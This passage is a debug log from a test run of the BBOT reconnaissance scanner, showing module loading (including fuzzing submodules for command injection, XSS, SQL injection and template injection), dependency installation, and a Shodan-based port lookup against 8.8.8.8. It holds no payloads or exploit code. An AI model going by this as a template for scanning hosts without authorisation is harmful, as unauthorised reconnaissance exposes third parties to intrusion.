[DEBUG] bbot.module_loader modules.py:152 Preloading postman_download from cache +2026-03-02 09:13:54,010 [DEBUG] bbot.module_loader modules.py:152 Preloading hunt from cache +2026-03-02 09:13:54,010 [DEBUG] bbot.module_loader modules.py:152 Preloading ffuf from cache +2026-03-02 09:13:54,011 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbrute_mutations from cache +2026-03-02 09:13:54,011 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_firebase from cache +2026-03-02 09:13:54,012 [DEBUG] bbot.module_loader modules.py:152 Preloading nuclei from cache +2026-03-02 09:13:54,012 [DEBUG] bbot.module_loader modules.py:152 Preloading censys_dns from cache +2026-03-02 09:13:54,013 [DEBUG] bbot.module_loader modules.py:152 Preloading retirejs from cache +2026-03-02 09:13:54,013 [DEBUG] bbot.module_loader modules.py:152 Preloading git_clone from cache +2026-03-02 09:13:54,014 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_amazon from cache +2026-03-02 09:13:54,014 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_digitalocean from cache +2026-03-02 09:13:54,014 [DEBUG] bbot.module_loader modules.py:152 Preloading skymem from cache +2026-03-02 09:13:54,015 [DEBUG] bbot.module_loader modules.py:152 Preloading hunterio from cache +2026-03-02 09:13:54,015 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_cookies from cache +2026-03-02 09:13:54,016 [DEBUG] bbot.module_loader modules.py:152 Preloading postman from cache +2026-03-02 09:13:54,016 [DEBUG] bbot.module_loader modules.py:152 Preloading code_repository from cache +2026-03-02 09:13:54,016 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_com from cache +2026-03-02 09:13:54,017 [DEBUG] bbot.module_loader modules.py:152 Preloading dnstlsrpt from cache +2026-03-02 09:13:54,017 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns from cache +2026-03-02 09:13:54,018 [DEBUG] bbot.module_loader modules.py:152 Preloading subdomaincenter from cache +2026-03-02 09:13:54,018 [DEBUG] bbot.module_loader modules.py:152 Preloading wayback from cache +2026-03-02 09:13:54,019 [DEBUG] bbot.module_loader modules.py:152 Preloading ipstack from cache +2026-03-02 09:13:54,019 [DEBUG] bbot.module_loader modules.py:152 Preloading emailformat from cache +2026-03-02 09:13:54,019 [DEBUG] bbot.module_loader modules.py:152 Preloading fingerprintx from cache +2026-03-02 09:13:54,020 [DEBUG] bbot.module_loader modules.py:152 Preloading dnscaa from cache +2026-03-02 09:13:54,020 [DEBUG] bbot.module_loader modules.py:152 Preloading bypass403 from cache +2026-03-02 09:13:54,020 [DEBUG] bbot.module_loader modules.py:152 Preloading leakix from cache +2026-03-02 09:13:54,021 [DEBUG] bbot.module_loader modules.py:152 Preloading paramminer_getparams from cache +2026-03-02 09:13:54,021 [DEBUG] bbot.module_loader modules.py:152 Preloading reflected_parameters from cache +2026-03-02 09:13:54,022 [DEBUG] bbot.module_loader modules.py:152 Preloading crt_db from cache +2026-03-02 09:13:54,022 [DEBUG] bbot.module_loader modules.py:152 Preloading bucket_file_enum from cache +2026-03-02 09:13:54,022 [DEBUG] bbot.module_loader modules.py:152 Preloading portscan from cache +2026-03-02 09:13:54,023 [DEBUG] bbot.module_loader modules.py:152 Preloading baddns_direct from cache +2026-03-02 09:13:54,023 [DEBUG] bbot.module_loader modules.py:152 Preloading ajaxpro from cache +2026-03-02 09:13:54,024 [DEBUG] bbot.module_loader modules.py:152 Preloading telerik from cache +2026-03-02 09:13:54,024 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsbimi from cache +2026-03-02 09:13:54,025 [DEBUG] bbot.module_loader modules.py:152 Preloading aspnet_bin_exposure from cache +2026-03-02 09:13:54,025 [DEBUG] bbot.module_loader modules.py:152 Preloading otx from cache +2026-03-02 09:13:54,025 [DEBUG] bbot.module_loader modules.py:152 Preloading github_codesearch from cache +2026-03-02 09:13:54,026 [DEBUG] bbot.module_loader modules.py:152 Preloading dehashed from cache +2026-03-02 09:13:54,026 [DEBUG] bbot.module_loader modules.py:152 Preloading gowitness from cache +2026-03-02 09:13:54,027 [DEBUG] bbot.module_loader modules.py:152 Preloading docker_pull from cache +2026-03-02 09:13:54,028 [DEBUG] bbot.module_loader modules.py:152 Preloading ipneighbor from cache +2026-03-02 09:13:54,028 [DEBUG] bbot.module_loader modules.py:152 Preloading bufferoverrun from cache +2026-03-02 09:13:54,029 [DEBUG] bbot.module_loader modules.py:152 Preloading gitlab_onprem from cache +2026-03-02 09:13:54,029 [DEBUG] bbot.module_loader modules.py:152 Preloading iis_shortnames from cache +2026-03-02 09:13:54,030 [DEBUG] bbot.module_loader modules.py:152 Preloading badsecrets from cache +2026-03-02 09:13:54,030 [DEBUG] bbot.module_loader modules.py:152 Preloading myssl from cache +2026-03-02 09:13:54,030 [DEBUG] bbot.module_loader modules.py:152 Preloading github_workflows from cache +2026-03-02 09:13:54,031 [DEBUG] bbot.module_loader modules.py:152 Preloading dotnetnuke from cache +2026-03-02 09:13:54,031 [DEBUG] bbot.module_loader modules.py:152 Preloading smuggler from cache +2026-03-02 09:13:54,032 [DEBUG] bbot.module_loader modules.py:152 Preloading robots from cache +2026-03-02 09:13:54,032 [DEBUG] bbot.module_loader modules.py:152 Preloading anubisdb from cache +2026-03-02 09:13:54,032 [DEBUG] bbot.module_loader modules.py:152 Preloading oauth from cache +2026-03-02 09:13:54,033 [DEBUG] bbot.module_loader modules.py:152 Preloading github_org from cache +2026-03-02 09:13:54,033 [DEBUG] bbot.module_loader modules.py:152 Preloading portfilter from cache +2026-03-02 09:13:54,034 [DEBUG] bbot.module_loader modules.py:152 Preloading sitedossier from cache +2026-03-02 09:13:54,034 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/internal +2026-03-02 09:13:54,034 [DEBUG] bbot.module_loader modules.py:152 Preloading aggregate from cache +2026-03-02 09:13:54,035 [DEBUG] bbot.module_loader modules.py:152 Preloading cloudcheck from cache +2026-03-02 09:13:54,035 [DEBUG] bbot.module_loader modules.py:152 Preloading excavate from cache +2026-03-02 09:13:54,035 [DEBUG] bbot.module_loader modules.py:152 Preloading speculate from cache +2026-03-02 09:13:54,036 [DEBUG] bbot.module_loader modules.py:152 Preloading unarchive from cache +2026-03-02 09:13:54,036 [DEBUG] bbot.module_loader modules.py:152 Preloading dnsresolve from cache +2026-03-02 09:13:54,036 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules +2026-03-02 09:13:54,037 [DEBUG] bbot.module_loader modules.py:154 Preloading esi from disk +2026-03-02 09:13:54,038 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/esi.py as it is not a valid BBOT module +2026-03-02 09:13:54,038 [DEBUG] bbot.module_loader modules.py:154 Preloading cmdi from disk +2026-03-02 09:13:54,039 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/cmdi.py as it is not a valid BBOT module +2026-03-02 09:13:54,039 [DEBUG] bbot.module_loader modules.py:154 Preloading xss from disk +2026-03-02 09:13:54,041 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/xss.py as it is not a valid BBOT module +2026-03-02 09:13:54,041 [DEBUG] bbot.module_loader modules.py:154 Preloading crypto from disk +2026-03-02 09:13:54,044 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/crypto.py as it is not a valid BBOT module +2026-03-02 09:13:54,044 [DEBUG] bbot.module_loader modules.py:154 Preloading serial from disk +2026-03-02 09:13:54,045 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/serial.py as it is not a valid BBOT module +2026-03-02 09:13:54,045 [DEBUG] bbot.module_loader modules.py:154 Preloading sqli from disk +2026-03-02 09:13:54,046 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/sqli.py as it is not a valid BBOT module +2026-03-02 09:13:54,047 [DEBUG] bbot.module_loader modules.py:154 Preloading path from disk +2026-03-02 09:13:54,048 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/path.py as it is not a valid BBOT module +2026-03-02 09:13:54,048 [DEBUG] bbot.module_loader modules.py:154 Preloading ssti from disk +2026-03-02 09:13:54,049 [DEBUG] bbot.module_loader modules.py:351 Skipping /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/lightfuzz/submodules/ssti.py as it is not a valid BBOT module +2026-03-02 09:13:54,049 [DEBUG] bbot.module_loader modules.py:141 Preloading modules from /Users/andriikerekhovetskyi/Desktop/DEV/bbot/bbot/modules/deadly +2026-03-02 09:13:54,049 [DEBUG] bbot.module_loader modules.py:152 Preloading legba from cache +2026-03-02 09:13:54,871 [DEBUG] asyncio selector_events.py:64 Using selector: KqueueSelector +2026-03-02 09:13:54,872 [DEBUG] asyncio selector_events.py:64 Using selector: KqueueSelector +2026-03-02 09:13:54,872 [INFO] bbot base.py:99 Starting shodan_enterprise module test +2026-03-02 09:13:54,969 [DEBUG] bbot.presets preset.py:1003 Preset : Getting baked +2026-03-02 09:13:55,357 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "shodan_enterprise" of type "scan" +2026-03-02 09:13:55,358 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "python" of type "output" +2026-03-02 09:13:55,359 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "unarchive" of type "internal" +2026-03-02 09:13:55,359 [DEBUG] bbot.presets preset.py:1003 Preset : Adding module "dnsresolve" of type "internal" +2026-03-02 09:13:55,490 [WARNING] bbot.scanner scanner.py:1211 You have enabled custom HTTP headers. These will be attached to all in-scope requests and all requests made by httpx. +2026-03-02 09:13:55,491 [DEBUG] bbot base.py:103 Mocking DNS +2026-03-02 09:13:55,598 [DEBUG] bbot base.py:105 Executing setup_before_prep() +2026-03-02 09:13:55,599 [DEBUG] bbot base.py:107 Executing scan._prep() +2026-03-02 09:13:55,625 [HUGEINFO] bbot.scanner logger.py:151 Scan seeded with 1 targets (1 in whitelist) +2026-03-02 09:13:55,627 [INFO] bbot.core.helpers.depsinstaller installer.py:470 Installing Ansible Community General Collection +2026-03-02 09:13:55,628 [HUGEVERBOSE] bbot.core.helpers.command logger.py:151 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-tTmN0996-py3.13/bin/ansible-galaxy collection install community.general +2026-03-02 09:13:56,040 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection +2026-03-02 09:13:56,040 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers +2026-03-02 09:13:58,364 [SUCCESS] bbot.core.helpers.depsinstaller logger.py:151 Authentication successful +2026-03-02 09:13:58,365 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) +2026-03-02 09:13:58,365 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { + "hosts": "all", + "tasks": [ + { + "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", + "package": { + "name": [ + "libssl-dev", + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Debian'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", + "package": { + "name": [ + "openssl", + "openssl-devel" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Arch)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Archlinux'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Alpine)", + "package": { + "name": [ + "openssl", + "openssl-dev" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Alpine'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (FreeBSD)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'FreeBSD'", + "ignore_errors": true + } + ] +} +2026-03-02 09:14:01,160 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful +2026-03-02 09:14:01,161 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 +2026-03-02 09:14:01,165 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_enterprise - Preloaded Deps {'modules': [], 'pip': ['shodan'], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-03-02 09:14:01,165 [HUGEINFO] bbot.core.helpers.depsinstaller logger.py:151 Installing module dependencies. Please be patient, this may take a while. +2026-03-02 09:14:01,165 [VERBOSE] bbot.core.helpers.depsinstaller logger.py:151 Installing dependencies for module "shodan_enterprise" +2026-03-02 09:14:01,165 [INFO] bbot.core.helpers.depsinstaller installer.py:269 Installing the following pip packages: shodan +2026-03-02 09:14:01,168 [HUGEVERBOSE] bbot.core.helpers.command logger.py:151 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-tTmN0996-py3.13/bin/python -m pip install --upgrade shodan --constraint /private/tmp/.bbot_test/temp/71ll2onw55f05795vraa +2026-03-02 09:14:01,936 [INFO] bbot.core.helpers.depsinstaller installer.py:288 Requirement already satisfied: filelock>=3.0.8 in /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-tTmN0996-py3.13/lib/python3.13/site-packages (from tldextract->shodan) (3.18.0) +2026-03-02 09:14:01,936 [DEBUG] bbot.core.helpers.depsinstaller installer.py:202 Setup succeeded for module "shodan_enterprise" +2026-03-02 09:14:01,936 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-03-02 09:14:01,937 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" +2026-03-02 09:14:01,937 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-03-02 09:14:01,937 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" +2026-03-02 09:14:01,937 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-03-02 09:14:01,938 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" +2026-03-02 09:14:01,938 [VERBOSE] bbot.scanner logger.py:151 Loading 1 scan modules: shodan_enterprise +2026-03-02 09:14:02,008 [VERBOSE] bbot.scanner logger.py:151 Loaded module "shodan_enterprise" +2026-03-02 09:14:02,008 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_enterprise) +2026-03-02 09:14:02,008 [VERBOSE] bbot.scanner logger.py:151 Loading 2 internal modules: dnsresolve,unarchive +2026-03-02 09:14:02,009 [VERBOSE] bbot.scanner logger.py:151 Loaded module "dnsresolve" +2026-03-02 09:14:02,010 [VERBOSE] bbot.scanner logger.py:151 Loaded module "unarchive" +2026-03-02 09:14:02,010 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) +2026-03-02 09:14:02,010 [VERBOSE] bbot.scanner logger.py:151 Loading 1 output modules: python +2026-03-02 09:14:02,011 [VERBOSE] bbot.scanner logger.py:151 Loaded module "python" +2026-03-02 09:14:02,011 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) +2026-03-02 09:14:02,011 [VERBOSE] bbot.scanner logger.py:151 Setting up modules +2026-03-02 09:14:02,011 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress +2026-03-02 09:14:02,012 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() +2026-03-02 09:14:02,012 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() +2026-03-02 09:14:02,012 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress +2026-03-02 09:14:02,012 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve +2026-03-02 09:14:02,012 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() +2026-03-02 09:14:02,013 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() +2026-03-02 09:14:02,013 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve +2026-03-02 09:14:02,013 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Setting up module shodan_enterprise +2026-03-02 09:14:02,013 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup_deps() +2026-03-02 09:14:02,013 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup() +2026-03-02 09:14:02,014 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished setting up module shodan_enterprise +2026-03-02 09:14:02,014 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive +2026-03-02 09:14:02,014 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() +2026-03-02 09:14:02,014 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() +2026-03-02 09:14:02,014 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive +2026-03-02 09:14:02,015 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python +2026-03-02 09:14:02,015 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() +2026-03-02 09:14:02,015 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() +2026-03-02 09:14:02,015 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python +2026-03-02 09:14:02,015 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress +2026-03-02 09:14:02,016 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() +2026-03-02 09:14:02,016 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() +2026-03-02 09:14:02,016 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress +2026-03-02 09:14:02,016 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) +2026-03-02 09:14:02,016 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) +2026-03-02 09:14:02,017 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) +2026-03-02 09:14:02,017 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) +2026-03-02 09:14:02,017 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) +2026-03-02 09:14:02,017 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for shodan_enterprise (success) +2026-03-02 09:14:02,017 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue +2026-03-02 09:14:02,017 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue +2026-03-02 09:14:02,018 [SUCCESS] bbot.scanner logger.py:151 Setup succeeded for 6/6 modules. +2026-03-02 09:14:02,018 [DEBUG] bbot base.py:109 Executing setup_after_prep() +2026-03-02 09:14:02,018 [DEBUG] bbot base.py:111 Starting scan +2026-03-02 09:14:02,098 [HUGESUCCESS] bbot.scanner logger.py:151 Starting scan testshodan_enterprise_test_bl3r7r3mxq +2026-03-02 09:14:02,098 [VERBOSE] bbot.scanner logger.py:151 Starting module worker loops +2026-03-02 09:14:02,167 [VERBOSE] bbot.scanner logger.py:151 6 modules started +2026-03-02 09:14:02,167 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to STARTING +2026-03-02 09:14:02,167 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to RUNNING +2026-03-02 09:14:02,169 [VERBOSE] bbot.modules._scan_ingress logger.py:151 Target: IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'distance-1', 'ipv4'}) +2026-03-02 09:14:02,268 [DEBUG] bbot.modules._scan_ingress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'distance-1', 'ipv4'}) passed post-check +2026-03-02 09:14:02,269 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'distance-1', 'ipv4'}) +2026-03-02 09:14:02,270 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'distance-1', 'ipv4'}) in-scope because its main host matches the scan target +2026-03-02 09:14:02,270 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) +2026-03-02 09:14:02,272 [DEBUG] bbot.modules._scan_ingress base.py:1563 SCAN("{'id': 'SCAN:0477f3ed08b3b22e664aed5f353f708544971d56', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-03-02 09:14:02,272 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting SCAN("{'id': 'SCAN:0477f3ed08b3b22e664aed5f353f708544971d56', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-02 09:14:02,273 [DEBUG] bbot.modules.dnsresolve base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) passed post-check +2026-03-02 09:14:02,273 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) +2026-03-02 09:14:02,274 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding SCAN("{'id': 'SCAN:0477f3ed08b3b22e664aed5f353f708544971d56', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-02 09:14:02,275 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting SCAN("{'id': 'SCAN:0477f3ed08b3b22e664aed5f353f708544971d56', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) +2026-03-02 09:14:02,275 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding SCAN("{'id': 'SCAN:0477f3ed08b3b22e664aed5f353f708544971d56', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-02 09:14:02,276 [DEBUG] bbot.modules._scan_egress base.py:1563 SCAN("{'id': 'SCAN:0477f3ed08b3b22e664aed5f353f708544971d56', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-03-02 09:14:02,277 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting SCAN("{'id': 'SCAN:0477f3ed08b3b22e664aed5f353f708544971d56', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-02 09:14:02,278 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding SCAN("{'id': 'SCAN:0477f3ed08b3b22e664aed5f353f708544971d56', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-02 09:14:02,279 [DEBUG] bbot.modules.output.python base.py:1563 Queueing SCAN("{'id': 'SCAN:0477f3ed08b3b22e664aed5f353f708544971d56', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because precheck succeeded +2026-03-02 09:14:02,281 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) +2026-03-02 09:14:02,281 [DEBUG] bbot.modules._scan_egress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) passed post-check +2026-03-02 09:14:02,282 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) +2026-03-02 09:14:02,282 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) +2026-03-02 09:14:02,282 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) because precheck succeeded +2026-03-02 09:14:02,283 [DEBUG] bbot.modules.output.python base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) because precheck succeeded +2026-03-02 09:14:02,283 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) from TARGET +2026-03-02 09:14:02,283 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) passed post-check +2026-03-02 09:14:02,283 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) +2026-03-02 09:14:02,381 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) +2026-03-02 09:14:02,382 [DEBUG] bbot.modules.output.python base.py:1563 Got SCAN("{'id': 'SCAN:0477f3ed08b3b22e664aed5f353f708544971d56', 'name': 'testshodan_ente...", module=TARGET, tags=set()) from TARGET +2026-03-02 09:14:02,383 [DEBUG] bbot.modules.output.python base.py:1563 SCAN("{'id': 'SCAN:0477f3ed08b3b22e664aed5f353f708544971d56', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-03-02 09:14:02,383 [DEBUG] bbot.modules.output.python base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) from TARGET +2026-03-02 09:14:02,383 [DEBUG] bbot.modules.output.python base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'in-scope', 'ipv4'}) passed post-check +2026-03-02 09:14:02,384 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-02 09:14:02,384 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-02 09:14:02,385 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target +2026-03-02 09:14:02,385 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-02 09:14:02,385 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-02 09:14:02,385 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-02 09:14:02,386 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-02 09:14:02,386 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-02 09:14:02,386 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target +2026-03-02 09:14:02,387 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-02 09:14:02,387 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-02 09:14:02,387 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-03-02 09:14:02,388 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-02 09:14:02,388 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-02 